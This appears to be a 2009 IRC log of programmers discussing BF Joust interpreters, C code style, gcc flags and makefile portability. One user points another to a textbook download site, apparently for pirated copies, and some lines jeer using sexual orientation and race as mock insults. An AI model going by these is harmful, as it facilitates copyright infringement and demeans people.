ehird: 2009-05-28 21:06:58 ( nescience) in short, you're screwed (unless you expand it all ahead of time) 19:07:46 Deewiant: that is not explanatory. 19:07:50 if the 2nd [ expands on a 0, you skip the bolded parts: 19:07:56 a[a[a[b]c]c]c 19:08:12 which means you need to execute "c]c" and no more no less 19:08:14 no boldin 19:08:15 g 19:08:17 +c 19:08:20 mode 19:08:24 a[a[>a[b]c] part in >< is skipped 19:08:38 yes, that's obv— no, it's not 19:08:38 there's no sensible way to get "c]c" out of (]c)*3 19:08:45 ehird: Well, looks like he's trying to explain what should happen with (a[)*Nb(]c)*N, and saying that you're somewhat screwed with the looping technique 19:08:55 Deewiant: I know what he's trying to say. 19:08:59 I just don't understand _what_ he's saying. 19:09:01 ehird: So what do you want explained 19:09:07 i'm sorry, i'm on limited time and i am trying to be quick 19:09:09 i must get back to work 19:09:12 kay 19:09:15 I'll read it 70 times :P 19:09:16 i can explain with more patience and detail later if you actually want 19:10:18 -!- inurinternet has quit (Connection timed out). 19:10:23 ehird: In a[a[>a[b]c]< is skipped if the second [ finds 0 19:10:34 Okay okay stop it you are just repeating him 19:10:46 ehird: Did you understand that? 19:11:07 Or alternatively, what don't you understand :-P 19:11:24 English! Am foreign no americano. 19:12:14 Then I'll just continue 19:12:18 Oh dear. 19:12:21 I take it back, whatever I said. 19:13:19 ehird: So, in (a[)*3b(]c)*3 if the second time through the loop the [ finds zero, you'd need to execute c]c to preserve the semantics 19:13:33 But, how do you figure that out without expanding all of the code 19:13:37 And that's the problem. 19:13:42 END OF LINE 19:14:34 green 19:17:22 damn, EgoBot still hasn't recovered 19:17:22 !ps 19:17:48 Guess they're not real processes then 19:18:30 what did you do to it, anyway? 19:20:01 -!- ehird has quit (Remote closed the connection). 19:20:13 -!- ehird has joined. 19:20:28 !sh pidof bfjoust 19:20:30 /tmp/input.11841: line 1: pidof: command not found 19:21:03 sticking to 80 columns with tabs @ size 8 kills me 19:21:06 but my code thanks me 19:21:17 19:20 ehird: Disconnecting from stoned server. 19:21:22 erm my bouncer doesn't like potheads 19:23:33 i mean 19:23:39 let's say you have a for loop, looping through a thing 19:23:43 and inside, a switch on its value, right? 19:23:54 at some point you want a conditional in one of these cases 19:23:59 you know, just to make sure everything's okay 19:24:03 fprintf(stderr, "Unmatched ] in %s.\n", filename); 19:24:07 KRRRRRRRRRR OVER 80 COLUMNS 19:24:22 i submitted that code with the *3000s earlier 19:24:29 but i replaced it with the original slowrush so it wouldn't slow things down 19:24:42 ehird submitted some trash earlier, but i didn't think he expanded simple ()*Ns 19:24:45 so i don't really know what's wrong 19:24:57 nescience: i charge you with not being sympathetic to my pain. 19:25:25 lol, i read the buffer top down 19:25:53 in fact, it's only 4 indents 19:25:58 80 columns :\ 19:25:58 that's within Linus's law 19:25:59 -!- psygnisf_ has joined. 19:26:05 I HATE YOUUUUUUUUUUUUUUUUUUUU :| 19:26:07 not you 19:26:07 you 19:26:32 ehird: You put the switch in a separate function 19:26:59 Deewiant: Aha. BUT! The switch mutates a local variable SOMETIMES. 19:27:04 Also, in one case it does a continue;. 19:27:07 ehird: Pass a pointer 19:27:14 Deewiant: IT ALREADY IS A POINTER 19:27:18 ehird: ******************* 19:27:21 I'm not going to go around like a dolt going (*ins)-> 19:27:24 I AM A ONE-STAR PROGRAMMER. 19:27:37 I'm an aleph-null-star programmer 19:28:18 Deewiant: but i did put it in another function 19:28:22 the thing is 19:28:33 the continue; stops ins++ happening after the switch (but in the for) 19:28:37 the rest just break; out from the switch 19:28:47 i can't think of a nice way to handle that 19:28:48 So have it return a bool 19:28:52 Deewiant: EXCEPT 19:28:52 if (foo) continue; 19:28:58 I already return ins— oh, wait. 19:29:02 Yeah. Yeah, that would work. 19:29:03 More ****** 19:29:11 Deewiant: BUT! But. No, wait, that's fine. 19:29:12 Okay then. 19:29:15 Uh, thanks. 19:29:26 FWIW it sounds like it's actually quite crap :-P 19:29:33 Deewiant: What is 19:29:36 It's just a parser man 19:29:46 All this mucking about just to avoid a level 4 indentation level 19:29:56 Sounds like it's obfuscating the code quite a bit 19:29:57 Deewiant: I don't want to avoid that 19:30:08 Deewiant: It's just that my code had some seriously long lines before. 19:30:15 So I'm refactoring it like crazy to 80 columns. 19:30:17 It seems to be helping. 19:30:38 Yeah, I'm just saying that in this instance it sounds like it's just making things worse 19:30:43 But maybe not, beats me. 19:30:49 Yeah, well 19:30:50 your mom. 19:30:57 ehird: bought a computer better than mine yet? 19:31:08 Deewiant: haha, except this function needs a parameter from the caller :-) 19:31:13 bsmntbombdood: No. Soon. 19:32:19 -!- nooga has quit (Read error: 104 (Connection reset by peer)). 19:33:33 Deewiant: Oh, I just realised that making a new struct would help here. 19:33:48 ehird: Damn, I was just about to suggest that :-P 19:33:54 Specifically, almost all the parameters can be passed around in one struct. 19:34:07 Yep, that's what I was guessing 19:34:15 * ehird underlines the already-existing note in eir mental refactoring cookbook: When in doubt, add more data structures. 19:37:09 'Nother thing (mostly aesthetic): Don't use structs without pointers. Generally. Because -> vs .'s ugly. 19:37:18 -!- psygnisfive has quit (Connection timed out). 19:37:20 It has been a while since I wrote a C program. 19:40:09 i need to finish that filesystem 19:40:53 Deewiant: Heh. Also, one of them breaks out from the enclosing loop :-D 19:41:07 But I can do that with a return parameter, as the original one is handled by the function itself 19:41:13 yes, i like to do (&foo)->bar just to avoid that ugly . 19:41:18 haha 19:44:15 Deewiant: guess what 19:44:23 adding a struct changed filename to parser->filename in the printf 19:44:26 thus bringing it— wait for it— 19:44:29 back over 80 columns 19:44:32 :-D 19:44:34 GAHAHAHAHA 19:44:50 Well, printfs can usually be broken over multiple lines 19:45:03 Unless parser->filename itself exceeds 80 columns at that indentation level 19:45:13 fprintf(stderr, "Unmatched ] in %s.\n", 19:45:14 parser->filename); /* this makes me feel like a 19:45:15 dolt */ 19:45:21 hanging out in ##c is painful 19:45:23 You can align stuff 19:45:36 Deewiant: I know, but it's such a trivial statement that it hurts. 19:45:37 bsmntbombdood: o? 19:45:39 If you have 8 columns' worth I'd line break after stderr 19:46:03 Deewiant: Ooh! 19:46:06 return 0; 19:46:06 } else { 19:46:19 utterly idiotic questions, no one seems to speak english 19:46:19 YAY ANOTHER LEVEL OF INDENTATION FOR FREE 19:47:56 lance.c:92: error: conflicting types for ‘parse_inner’ 19:47:56 lance.c:67: error: previous implicit declaration of ‘parse_inner’ was here 19:47:57 ↑ i did parser_inner(parser);, so it inferred the type as void even though that's not mandatory, lawl 19:48:08 wtf are you writing 19:48:08 guess i need a bunch of redundant function declarations 19:48:10 woop woop, C 19:48:18 bsmntbombdood: a better BF Joust 19:49:51 -!- Judofyr has joined. 19:51:14 -!- KingOfKarlsruhe has joined. 19:51:42 so an angel came down to me and said 19:51:48 "EHIRD 80 COLUMNS DOESN'T MATTER" 19:51:49 and 19:51:51 I punched it 19:51:52 in 19:51:53 the face. 19:51:58 and said "FUCK YOU, ANGEL." 19:52:17 I stick to 80 columns, but with 3-column tabs 19:53:11 I figure that most people these days don't care about 80 columns and use 4-column tabs, so it's fine for those folks 19:53:35 Deewiant: ais523 has been adamant at yelling at me that tabs are defined to be exactly 8 spaces 19:53:42 and I have been adamant at replying to him that that's total bullshit and he's wrong. 19:53:45 fun times 19:54:01 Deewiant: (this is when telling him not to use mixed tabs and spaces because tabs != always 8 spaces) 19:54:04 Not 8 spaces, they're defined to be "indent to the next column whose position is a multiple of 8" 19:54:08 But yeah. 19:54:17 no, they're not 19:54:25 they're defined to be "indent." 19:54:33 Well yeah. 19:54:53 But that's the default position adopted by most tools. 19:56:57 ais523 said it was "8 spaces", always, both in theory and practice 19:57:08 programs I have here and what tab what was originally meant to mean disagrees 19:57:11 *disagree 19:58:38 Upon pondering it a bit, I do think that their definition is "indent to next tab stop" where "tab stops" vary from implementation-defined to freely modifiable by the user 20:03:29 -!- BeholdMyGlory has joined. 20:05:03 Wow, how have you people managed to eff up EgoBot :P 20:05:41 I believe by running bfjoust programs that do tonnes of macro expansion 20:06:05 Hmm, you can't prefix "I believe" into a sentence like that directly :-/ 20:06:31 Score for ehird_fuck: 12.5 20:06:31 Score for leonid__lols: 13.9 20:06:32 Score for Deewiant_scrooge: 11.8 20:06:32 Score for ehird_turnintoagreenthing: 4.3 20:06:57 Whoo, scrooge beat shade 20:07:04 GregorR-L: so if my super-awesome polarity-makin' tournamentin' mega-fastin' interp is finished, will you use it or should I not bother :-P 20:07:21 (yes, nescience, with your magical avoid-expanding-macros thing. <_<) 20:07:33 I wrote egojoust because you seemed to have lofty goals. 20:07:36 If it's done, sure. 20:07:58 It's donning itself presently. 20:08:02 The goals aren't really lofty 20:08:11 Just "run the program a fuckload of times then average that" 20:08:28 Is "a fuckload" = 21? 20:08:45 No. 20:08:49 That does not take into account... 20:08:52 PoLaRiTy! 20:08:57 Any choice between: SIEVE, and: KETTLE! 20:09:10 ..................................................... 20:09:26 GregorR-L: Trust me, it's a good idea. Other players say so. The fact that the names make no fucking sense is irrelevant. 20:09:27 GregorR, why 21 to be specific 20:09:36 AnMaster: 21 possible tape lengths 20:09:41 ah 20:09:42 GregorR-L: Just know that it involves reversing dink and donk. 20:09:46 well that sounds like a good idea too 20:09:54 oh 20:09:57 with two polarities 20:10:01 GregorR-L: So it's actually— you will shit your pants— FORTY-TWO runs. 20:10:06 that mean 42 combinations 20:10:09 Yep. 20:10:10 :D 20:10:10 But the directions are designed to make no difference. 20:10:12 Verily, the spirit of Douglas Adams is in this implementations. 20:10:16 GregorR-L: Nothing to do with directions. 20:10:32 I don't understand what "polarity" means in this context. 20:10:37 Seeing as that you haven't explained it. 20:10:52 GregorR-L: Basically, if polarity is sieve, + and - do the normal thing. If polarity is kettle, for one program (either, it doesn't matter), + and - are swapped. This stops you stealing someone's program and swapping +/- and rising to the top of the hill, which is boring, and yet still makes you defend against both [+] and [-], etc. 20:10:54 GregorR-L, swaps plus and minus. 20:11:03 Or, yeah, what AnMaster said, but I explained why. 20:11:20 And if you implement that I will sue you for infringing my imaginary patents. 20:11:27 Ah. 20:11:27 -!- Slereah_ has joined. 20:11:31 ehird, since we sent them same second *shrug* 20:11:37 IMAGINARY 20:11:38 PATENTS 20:11:47 You know like imaginary numbers, they have a real part and an imaginary part? 20:11:48 ehird, I never planned to implement joust 20:11:51 They have the power of two fucking numbers. 20:11:54 since I'm like. Not interested in them 20:11:57 it* 20:11:58 (AnMaster: I meant GregorR-L, kthx.) 20:12:01 ah 20:12:02 ok 20:12:02 GregorR-L: Right? So, imaginary patents, 20:12:04 They have the power 20:12:05 of 20:12:07 TWO GODDAMN PATENTS. 20:12:10 You don't want to fuck with that. 20:12:17 um 20:12:21 You know like imaginary numbers, they have a real part and an imaginary part? <-- wrong 20:12:25 complex number does 20:12:28 numbers* 20:12:39 ......................................... 20:12:48 AnMaster: Imaginary numbers are a subset of complex numbers. 20:12:54 I meant to say complex, but I was not technically wrong. 20:12:54 ehird, so they are 20:12:59 Anyway, shut up. 20:13:04 DOUBLE PATENT POWER. 20:13:10 ehird, the imaginary subset are the ones without real parts 20:13:13 :P 20:13:21 AnMaster: No, 0 or <0 real parts. 20:13:28 Your face is the one without real parts. 20:13:40 GregorR-L: I HAVE AN IMAGINARY PATENT ON YOUR FACE. 20:14:04 So, the question is, can you implement this before I can get it into egojoust? X-P 20:14:07 RACE RACE RACE 20:14:11 GregorR-L: No. 20:14:14 I can't. 20:14:20 anmaster: complex numbers do* 20:14:23 ehird, right, I wasn't technically wrong either, since in effect you can consider it like "no real part" (and that is how you write them: 2i not 0+2i) OR the technically correct "real part is zero". 20:14:31 ehird: What you don't realize is that I'm too lazy to put it in egojoust. 20:14:36 AnMaster: Real part is zero OR LESS THAN ZERO. 20:14:38 kthx 20:14:44 GregorR-L: I HAVE AN IMAGINARY PATENT ON LAZINESS 20:14:54 -2+4i is complex isn't it? 20:14:57 In fact, I have an imaginary patent on everything, including not having an imaginary patent on something. 20:15:05 AnMaster: [[Imaginary number]] 20:15:19 anmaster: yes, its complex. 20:15:57 Okay, now I'm going to imaginary work on my implementation. 20:16:09 You know it's true, brotha. 20:16:53 "Although Descartes originally used the term imaginary number to mean what is currently meant by the term complex number, the term imaginary number today usually means a complex number with a real part equal to 0, that is, a number of the form i·y. Zero (0) is the only number that is both real and imaginary." 20:16:59 AnMaster: [[Imaginary number]] <-- from there 20:17:13 DESCARTES FTW 20:17:25 I can't find where it says "or less than zero" 20:17:34 does it need to anmaster? 20:17:38 it says real part. 20:17:50 real numbers range from (-inf, +inf) 20:17:58 "the term imaginary number today usually means a complex number with a real part equal to 0" 20:18:11 but ehird claims it means "real part equal to zero or less than zero" 20:18:28 oh. what? no. an imaginary number is any real multiple of i. 20:18:28 oh, wait 20:18:32 [[In mathematics, an imaginary number (or purely imaginary number) is a complex number whose squared value is a real number less than or equal to zero.]] 20:18:43 i am the dumb 20:18:49 agreed! 20:18:49 ehird, As usual! 20:18:56 butts 20:18:57 -!- psygnisf_ has changed nick to psygnisfive. 20:18:58 ehird, and I'm right (as usual) 20:19:00 ;P 20:19:07 but i still love you ehird, dont worry 20:19:09 AnMaster: AND YOU'RE GAY 20:19:09 AS USUAL 20:19:10 I shall forever treasure this moment. 20:19:12 AND SO'S YOUR FACE 20:19:13 AND YOUR MOM 20:19:15 AND STUFF 20:19:41 ehird, s/AnMaster/psygnisfive/ and at least one of those claims would be correct instead of incorrect. 20:19:52 WOW GUYS AMAZING NEWS psygnisfive is *GAY* 20:20:00 HOLY HELL HE SEXUALLY PREFERS MEN TO WOMEN. LET'S MENTION IT 20:20:00 AND STUFF 20:20:03 YES 20:20:04 AND STUFF 20:20:11 lawl my parser is O(n^2) because I use strlen() to allocate the result kekekekeke 20:20:13 who cares 20:20:17 >_< 20:20:21 i like big COCKS and i cannot lie 20:20:27 Deewiant: beats reallocating every 3 seconds 20:20:31 ehird: GCC might actually be able to optimize that away 20:20:35 (At least) 20:20:38 Deewiant: It's user input 20:20:44 EgoBot will break if you give it megabytes of raw input anyway 20:20:46 ehird: I mean, repeated calls to it 20:20:48 guys 20:20:51 I only use strlen() once, Deewiant 20:20:56 But then I loop thru da string 20:21:02 do you happen to know of any really good textbook download sites? 20:21:03 So where's the ^2 20:21:25 ehird, sorry, I thought wrote the wrong nick, since the claim wasn't valid for me I considered the other people present and talking. Thus I came to the conclusion you meant psygnisfive. I don't know why you like to mention it. 20:21:28 Deewiant: O(n) - strlen(). O(n^2) - looping through the string again. 20:21:37 AnMaster: YOU'RE BLACK. 20:21:40 ehird: strlen() has __attribute__((pure)). ;) 20:21:41 ehird: Uh, how is looping through a string O(n^2) 20:21:52 Is that not O(2n) 20:21:57 Er. 20:21:58 Yes. 20:22:00 wtf is O(2n) 20:22:00 Yes it is. 20:22:05 But O(2n) = O(n). 20:22:08 Deewiant: Which is O(n). 20:22:10 O(2n) is short for O(2 * n) which is O(n). 20:22:12 ohay it's back 20:22:13 i hate that shit 20:22:13 ill take it you dont, so: gigapedia.com 20:22:19 It's just that "O(n)" is an unhelpful way to say "hay I loop twice" 20:22:28 with some weird bugs 20:22:38 Then say O(2n) 20:22:39 at least i'm back on top of the hill :> 20:22:41 ehird, technically wrong too. And I don't know anyone in here who is. Since I don't care about skin colour. However you might have meant that my current clothes are indeed black? A pair of black socks. And a black t-shirt. 20:22:53 Even if it's equal to O(1000n) most people assume that the constant within is meaningful somehow :-P 20:22:56 ehird: If thou wert smart, then thou wouldst keep the string size. 20:22:57 AnMaster: THUS YOU ARE BLACK!!!!!!1731263712537638273621873ELEVENTYONE 20:23:05 pikhq: Erm, I don't need it again. 20:23:08 pikhq: After parser->ins = xmalloc(sizeof(ins_t) * strlen(source)); 20:23:10 I just do 20:23:12 while ((c = *parser->source)) { 20:23:14 xmalloc! 20:23:21 xyzmalloc 20:23:26 struct string {char *cstr;size_t size;}; 20:23:29 Deewiant: Also known as "goddammit libc, get some fucking error handling system." 20:23:34 pikhq: Why?! I only need it once! 20:23:37 To allocate the string! 20:23:41 What benefit does that get me at all in this case? 20:23:45 *allocate the instruction array 20:23:51 Oh. 20:24:04 Well, anyways. 20:24:19 xmalloc should have __attribute__((malloc)). :p 20:24:28 Wtf is that 20:24:29 pikhq: what does that do? 20:25:02 gcc has an attribute for everything 20:25:04 ehird, I don't think either "ELEVENTYONE" or any variant of splitting that ("ELEVENTY", "ONE"), ("ELEVEN", "TY", "ONE") or ("ELEVEN" "TYONE") is a valid (set of) number(s). 20:25:06 __attribute__((strfry)) 20:25:12 AnMaster: Shut up. 20:25:15 Informs GCC that any non-NULL pointer it returns doesn't alias with any other valid pointer. 20:25:28 -!- Sgeo has joined. 20:25:36 pikhq, indeed, so it does. 20:25:43 __attribute__((solve-halting-problem)) int main(); 20:25:48 Deewiant, doesn't exist 20:26:04 AnMaster: Forty = 40. Fifty = 50. Therefore, foo-ty = foo0. Eleven = 11. Therefore, eleventy = 110. One hundred one = 101. THEREFORE, Eleventy-one = 111. 20:26:07 I thought gcc has an attribute for everything :-( 20:26:13 Doesn't exist? 20:26:16 OMGWTFBBQ HOW COME!!11 20:26:18 eleventy 20:26:21 one. 20:26:23 point one. 20:26:24 ehird, interesting 20:26:38 ehird, Onethousandtytyty? 20:26:46 pikhq: isn't that the same as returning restrict? 20:26:46 = 1000000 20:26:47 what would that be 20:26:48 hm 20:26:49 ok 20:26:58 ehird, ity 20:27:01 You might also want to give that __attribute__((alloc_size(1))). 20:27:07 AnMaster: i*10 20:27:15 -!- Slereah has quit (Connection timed out). 20:27:17 ehird, "Therefore, foo-ty = foo0." 20:27:21 AnMaster: yes 20:27:24 and that's = foo*10 20:27:25 so it would be the non-sense "i0" 20:27:31 I was abbreviating informally. 20:27:31 i0 isn't nonsense 20:27:34 i0 = i * 0 = 0 20:27:37 That's true too. 20:27:40 But foo-ty is obviously foo*10. 20:27:50 Deewiant, sure. But according to that definition of ty then 10 is 1*0 :P 20:27:52 So ity = i*10 = 10i. 20:28:02 ehird, right 20:28:12 (= -i) 20:28:29 AnMaster: No, it isn't 20:28:46 onety is still 1*10 = 10 20:29:26 Whereas onety and crumpets is 10 + crumpets 20:29:30 lance.h:14: warning: comma at end of enumerator list 20:29:32 WHY IS THAT A WARNING. 20:29:32 Indeed 20:29:42 ehird, is that gcc 20:29:44 warning: you appear to be using GCC 20:29:45 yes 20:29:47 -Wall -pedantic 20:29:50 well 20:29:56 is it allowed by C89 then 20:29:59 ehird: I'd say it's because of -pedantic :P 20:30:02 Yes, AnMaster. 20:30:10 GregorR-L: It's not an error. It's not bad. It's good practice, for when you add new values. 20:30:12 ok... why does -pedantic warn about that... 20:30:22 I believe some pre-C89 compilers choke on that. 20:30:23 and I agree with ehird here 20:30:25 __attribute__((dont_fucking_warn_me_about_that_kind_of_shit_okay_btw_this_applies_to_the_whole_program_you_hear_me_question_mark)) 20:30:32 ↑ An attribute gcc needs. 20:30:33 ehird: Try -std=c89 20:30:36 Deewiant: Yes. I did. 20:30:37 Deewiant, good idea 20:30:39 ehird: -ansi? 20:30:40 CFLAGS = -std=c89 -Wall -pedantic 20:30:40 ifdef DEBUG 20:30:41 CFLAGS += -g 20:30:43 else 20:30:45 CFLAGS += -O3 20:30:47 endif 20:30:49 Deewiant: -ansi = -std=c89 20:30:53 D'oh 20:30:55 ehird, so you don't allow -march=native there 20:30:58 LOL WUT 20:31:00 Oh 20:31:00 nm 20:31:04 I thought adding -ansi fixed it 20:31:06 but I removed the comma 20:31:06 lol 20:31:09 AnMaster: Vut? 20:31:09 :-P 20:31:19 AnMaster: Oh, does that like, use i7 on an i7? 20:31:33 ehird, CFLAGS="-march=native -pipe" make will not use the -march setting in there 20:31:39 -!- Corun has joined. 20:31:49 It optimizes code for the host CPU, allowing code that is invalid for other CPUs 20:31:51 AnMaster: What the fuck are you talking about, sir? 20:32:07 ehird: He's talking about you overriding any outer CFLAGS 20:32:14 Oh. 20:32:14 ehird, if that above is your makefile then the cflags user set in environment will be ignored 20:32:19 which may contain important bits 20:32:28 Ehm, I've done CFLAGS=butt since forever. 20:32:28 like -march, -m32/-m64 and what not 20:32:30 Everyone does that. 20:32:32 -!- BeholdMyGlory has quit (Remote closed the connection). 20:32:53 what about: 20:32:54 CFLAGS ?= -march=generic 20:32:58 So, what do I use instead? 20:33:03 CFLAGS += -std=c89 -Wall -pedantic 20:33:05 and so on 20:33:11 kay 20:33:15 -march=generic? Is that just the default setting? 20:33:15 err 20:33:16 wait 20:33:21 % make -n 20:33:21 cc -std=c89 -Wall -pedantic -O3 -march=native lance.c -o lance 20:33:22 -mtune=generic 20:33:24 is needed 20:33:31 it doesn't work for march 20:33:37 since that is default 20:33:47 * GregorR-L lols at "cc" 20:33:48 err 20:33:50 I mean 20:33:51 -march supercedes -mtune 20:33:53 AnMaster: what about defining CC? "CC ?= gcc" doesn't work, as make defines its own default. 20:34:00 -march defaults to i386 still iirc 20:34:08 -mtune=generic does "for the most common current cpus" 20:34:29 ehird: CC = gcc works, as when people override CC they don't want the CC in the Makefile at all. 20:34:33 ehird, hm.. It defines it to the CC. User can override it in the environment 20:34:42 GregorR-L: Kay. 20:34:54 lance.c:1: error: bad value (native) for -march= switch 20:34:54 lance.c:1: error: bad value (native) for -mtune= switch 20:34:56 GregorR-L: Don't. 20:34:58 Guess my gcc 4.1 is too old huh? 20:34:59 ehird, too old gcc 20:34:59 Also, lolporridge. 20:35:00 for that 20:35:03 ehird, yes. 20:35:05 AnMaster: Then it's not very useful for me. 20:35:07 Make defines CC. 20:35:18 pikhq: I know that, but it defines it to cc on most systems, which is stoopid. 20:35:19 export CC=gcc-4.2 20:35:21 make 20:35:30 AnMaster: No, thanks. 20:35:31 pikhq: This code clearly will not compile with non-gcc. Esp. with those CFLAGS :P 20:35:35 ehird: And on all systems, cc is the C compiler. 20:35:36 ehird, it should clearly define it to /usr/bin/c99 20:35:37 :P 20:35:49 pikhq: And on all systems, cc takes -O3 -std=c89 -Wall... hmm, wait, no. 20:35:53 AnMaster: I don't want to require twiddling for OS X users. 20:35:54 which is the only one found in POISX 2008 (iirc!) 20:35:59 So >gcc4.1 things are out of the question 20:36:07 POISX! 8-D 20:36:12 And that's why you probably shouldn't define CFLAGS. :p 20:36:13 ehird, right. But the -march=native was for what user defines in envrionment 20:36:16 and 20:36:20 POS, icks. 20:36:21 your makefile should respect it 20:36:27 20:36 pikhq: And that's why you probably shouldn't define CFLAGS. :p ← youuuuuuuuu're barmy 20:36:28 ehird, that was my point 20:36:44 if nobody defined cflags everyone would get -O0, warningless compiles :) 20:36:47 This is why you should use autoconf. 20:36:52 GregorR-L: HAHAHAHA 20:36:53 * ehird punches GregorR-L 20:36:55 ehird, on legacy systems like OS X the user would define CFLAGS to be something like -march=core2 (or is the gcc too old for that as well?) 20:36:55 Stop that. 20:37:07 AnMaster: ehird, on legacy systems like OS X ← ENOTREADINGRESTOFLINES 20:37:15 ehird: You're making portability damned difficult. I HATE yOU FOR THAT. 20:37:15 Also, you have to use gcc-4.2(1) to use -march=core2 :P 20:37:19 ehird, it was a joke 20:37:20 duh 20:37:27 let me rephrase it 20:37:28 AnMaster: So was mine 20:37:31 ah ok 20:37:35 Also, there are non-Core2 current Macs. 20:37:45 The Mac Pro uses Xeon Nehalems. 20:37:47 ehird, then they define -march=whatever 20:37:48 (not i7, Xeons) 20:37:49 that they want 20:37:53 AnMaster: I know, I know. 20:37:59 pikhq: yeah they have to change one line in the makefile :))) 20:38:01 GregorR-L: He seems to think that everyone runs GCC, and specific versions of it at that. 20:38:08 ... what? 20:38:12 I just said I wasn't using anything >gcc4.1. 20:38:18 pikhq: That's because everyone does run GCC :P 20:38:23 And for that, I keel you. 20:38:24 pikhq: Are you SERIOUSLY arguing that I should not define CFLAGS? 20:38:30 ehird: Yes. 20:38:34 Is your MIND on a SATELLITE in OUTER SPACE? 20:38:35 GregorR-L: He seems to think that everyone runs GCC, and specific versions of it at that. <-- ehird? Seems so 20:38:37 That's what autotools is for. 20:38:38 yeah 20:38:39 Is it communicating with your body from down here? 20:38:43 Is it going, oh, 20:38:47 the distance is so long 20:38:50 ehird, anyway that makefile isn't going to work at all with icc! 20:38:50 I'd better keep the thoughts short 20:38:55 So let's not define any CFLAGS! 20:38:58 . 20:39:00 Also, use autohell. 20:39:04 * GregorR-L lollercopters. 20:39:06 ehird, so you better check if you have GCC before you add the cflags 20:39:08 That's always a good idea. Replace a 15 line makefile. 20:39:12 With the autotools shitfest. 20:39:16 you can add -O usually 20:39:26 SYNOPSIS 20:39:26 c99 [-c][-D name[=value]]...[-E][-g][-I directory] ... [-L directory] 20:39:26 ... [-o outfile][-Ooptlevel][-s][-U name]... operand ... 20:39:27 This is pikhq's satellite brain, reporting from dumbville, in orbit around Earth! 20:39:31 that is what POSIX says about syntax 20:39:34 Replace a 15 line makefile with a 3 line makefile and an automatically generated autoconf.ac? :P 20:39:38 (not that it matters a lot) 20:39:45 -!- myndzi\ has joined. 20:39:50 For such a simple program, Autotools is easy. 20:39:52 GregorR-L, use cmake? 20:39:58 ARGH YOU PEOPLE ACTUALLY ADVOCATE AUTOTOOLS I'M GOING TO JUMP OFF MY ROOF YOU'RE ALL EVIL PEOPLE WHO ARE RUINING SOFTWARE 20:39:59 it is even easier 20:40:00 * GregorR-L wurves stirring the pot. 20:40:02 Cmake is also acceptable. 20:40:09 ANYONE WHO USES AUTOTOOLS WILL FEEL MY WRATH 20:40:33 cd ehird/ && ./configure --without-annoyingness && make -j6 20:40:38 about 5 or 6 lines cmake script if you want to "add cflags if gcc". 20:40:41 trivial still 20:40:43 GregorR-L: THERE IS ONLY ONE FUCKING TARGET 20:40:51 HOW CAN YOU RUN ONE TARGET 6 TIMES AT ONCE 20:40:55 ehird, multiple files right? 20:40:56 YOU'RE MAD! 20:40:58 AnMaster: No. 20:41:03 ehird: For multiple target CPUs! 20:41:03 ehird: Run your code on more than two targets and you will thank Autotools. 20:41:04 ehird, then why a makefile 20:41:06 Profusely. 20:41:08 ehird: You're saying that you're one file? :P 20:41:10 AnMaster: for "make clean" :P 20:41:14 GregorR-L: YES! 20:41:21 pikhq: Good god. 20:41:21 Deewiant, that requires separate configurations 20:41:23 CFLAGS += -std=c89 -Wall -pedantic 20:41:23 ifdef DEBUG 20:41:23 afaik 20:41:24 CFLAGS += -g 20:41:26 else 20:41:28 CFLAGS += -O3 20:41:30 endif 20:41:32 .PHONY: clean 20:41:34 lance: lance.c lance.h 20:41:36 @$(CC) $(CFLAGS) $< -o $@ 20:41:38 clean: 20:41:40 @rm -f lance 20:41:42 AND JUST USING C89! 20:41:44 ARE YOU, pikhq, SERIOUSLY SUGGESTING I NEED AUTOTOOLS, CONFIG.H, PARALLEL MAKE, 20:41:46 MULTIPLE FILES, 20:41:48 IFDEFS EVERYWHERE, 20:41:50 PORTABLE ACROSS C COMPILERS TO AVOID WRITING ONE MORE LINE 20:41:54 WHERE IS YOUR MIND! >______< 20:42:02 * GregorR-L stiiiiiiiiiirs the pot. 20:42:08 Stirry stirry stir stir stir 20:42:12 GregorR-L, what pot 20:42:17 ehird: I'm saying that you need to write your code right, or else I kill you. 20:42:18 It's an expression. 20:42:22 AnMaster: The pot that pikhq is on. 20:42:24 This is the road that leads to IRAF. 20:42:31 It seems to be some pretty potent shit. 20:42:35 Not familiar with IRAF? 20:42:37 THIS IS THE ROAD THE LEADS TO IRAQ 20:42:48 Get its code, and weep. 20:42:50 Anybody who doesn't use autotools is a TRRRRRIST 20:43:03 A TRYST 20:43:05 I spent a fucking month trying to get it to build right. 20:43:15 Hahahahaha pikhq is lecturing me about not using autotools and using portability macros and using multiple files and not making sure my 15-line makefile handles all c compilers even though I use c89. 20:43:16 Working full-time on it. 20:43:18 ehird, so that will cross compile to ARM correctly. The cross toolchain running on a SPARC. (The cross toolchain targeting ARM was compiled on a MIPS btw)? 20:43:19 This is hilarious. 20:43:21 ;P 20:43:22 He is batshit insane. 20:43:28 AnMaster: Should do. 20:43:29 (the last statement there didn't matter) 20:43:33 It's just fucking C89! 20:43:36 ehird, and icc? 20:43:44 ehird: Just use a GNU extension in your code and you'll satisfy him 20:43:50 icc: command line remark #10148: option '-pedantic' not supported 20:44:00 AnMaster: No. "icc -O3 lance.c -o lance" 20:44:04 Oh snap that was *hard* 20:44:06 Deewiant: Okay, I'll prefix a random function name with g. 20:44:06 ehird: For a such a simple project, autotools is trivial. 20:44:07 ;) 20:44:16 ehird, um " CFLAGS += -std=c89 -Wall -pedantic" above 20:44:17 pikhq: I WANT TO STOMP ON YOUR BRAINS ;_; 20:44:17 :P 20:44:23 AnMaster: So don't use the god damn Makefile. 20:44:34 ehird, lets see what clang does here... 20:44:49 oh and open64 and tcc 20:44:54 Let's see what openwatcom does 20:44:55 You guys have driven me to suicide for the 5,000th time. 20:44:58 * AnMaster boots the computer with them on 20:44:58 And Turbo C 20:44:59 Bubye 20:45:01 Don't forget dmc and bcc 20:45:01 And Microsoft C 20:45:07 ah yes 20:45:07 AnMaster: djgpp, too. 20:45:09 GregorR-L: Altair BASIC 20:45:10 that would be /O4 there? 20:45:12 or something 20:45:14 ehird: :-D 20:45:15 See what Altair BASIC does to it 20:45:31 ehird: We've been naming things that we actually test code on. ;) 20:45:34 -!- myndzi has quit (Read error: 113 (No route to host)). 20:45:37 anyway I don't have turbo c, msvc or any of the other ones 20:45:40 pikhq: Exactly, Altair BASIC. 20:45:45 I bet it doesn't run my unportable code. 20:45:46 GregorR-L: I seem to recall that you tested CPlof on DJGPP. 20:45:47 OH THE HORROR 20:45:53 pikhq: And OpenWatcom. 20:45:59 ehird: We've been naming things that we actually test code on. ;) <-- indeed 20:46:04 pikhq: But it used a different build system, because I'm not a lunatic :P 20:46:04 seriously! 20:46:05 pikhq: i'm even planning to include a volatile asm with the body "nop" in my code 20:46:08 GRATUITOUS 